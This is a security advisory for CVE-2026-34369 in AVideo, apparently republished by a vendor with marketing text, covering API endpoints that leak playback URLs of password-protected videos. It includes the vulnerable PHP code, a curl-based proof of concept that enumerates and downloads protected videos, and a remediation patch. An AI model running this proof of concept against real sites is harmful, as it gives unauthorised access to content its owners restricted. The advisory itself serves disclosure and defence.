Summary
The get_api_video_file and get_api_video API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.
Details
The video password protection is enforced in the web UI via CustomizeUser::getModeYouTube() (plugin/CustomizeUser/CustomizeUser.php:787), which calls videoPasswordIsGood() before rendering the video player. However, this hook is only invoked during web page rendering, the API endpoints bypass it entirely.
Vulnerable endpoint 1, get_api_video_file (plugin/API/API.php:986-1004):
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
}
$video = new Video('', '', $obj->videos_id);
$obj->filename = $video->getFilename();
// ...
$obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id);
$obj->sources = getSources($obj->filename, true);
return new ApiObject("", false, $obj);
}
The only access check is User::canWatchVideoWithAds() (objects/user.php:1102-1159), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does not check video_password. Password-protected videos have status 'a' (active), which passes all checks.
Vulnerable endpoint 2, get_api_video (plugin/API/API.php:1635-1810):
This endpoint returns video metadata including full videos paths (line 1759) and sources arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.
The intended password check exists but is never called from these endpoints:
Video::verifyVideoPassword() (objects/video.php:543-553) is the proper password verification function, and get_api_video_password_is_correct exists as a separate API endpoint, proving password verification was intended as an access control. But neither get_api_video_file nor get_api_video invoke any password check.
PoC
# Step 1: Identify a password-protected video via the video list API
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for v in data.get('response',{}).get('rows',[]):
if v.get('video_password'):
print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES')
print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"
# Step 2: Retrieve full playback sources for the password-protected video
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>'
# Expected: access denied or password prompt
# Actual: full response with direct MP4/HLS URLs:
# {"error":false,"response":{"videos_id":"123","filename":"video_abc",
# "video_file":"https://target.com/videos/video_abc/video_abc_HD.mp4",
# "sources":[{"src":"https://target.com/videos/video_abc/video_abc_HD.mp4","type":"video/mp4"}]}}
# Step 3: Download the protected video directly
curl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'
Impact
Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The get_api_video endpoint additionally exposes which videos are password-protected (via the video_password field set to '1'), allowing targeted enumeration. This renders the video_password feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-34369 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add password verification to both API endpoints before returning video sources. In plugin/API/API.php:
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
// Check video password protection
$video = new Video('', '', $obj->videos_id);
$storedPassword = $video->getVideo_password();
if (!empty($storedPassword)) {
$providedPassword = @$parameters['video_password'];
if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {
return new ApiObject("Video password required", true);
}
}
}
// ... rest of function
}
Apply the same check in get_api_video() before populating the videos and sources fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix get_api_video_password_is_correct to use Video::verifyVideoPassword() instead of direct == comparison (line 1126), which currently fails for bcrypt hashes.
Frequently Asked Questions
- What is CVE-2026-34369? CVE-2026-34369 is a medium-severity missing authorization vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-34369? CVE-2026-34369 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-34369? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-34369? No fixed version is listed for CVE-2026-34369 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34369 exploitable, and should I be worried? Whether CVE-2026-34369 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34369 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34369? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.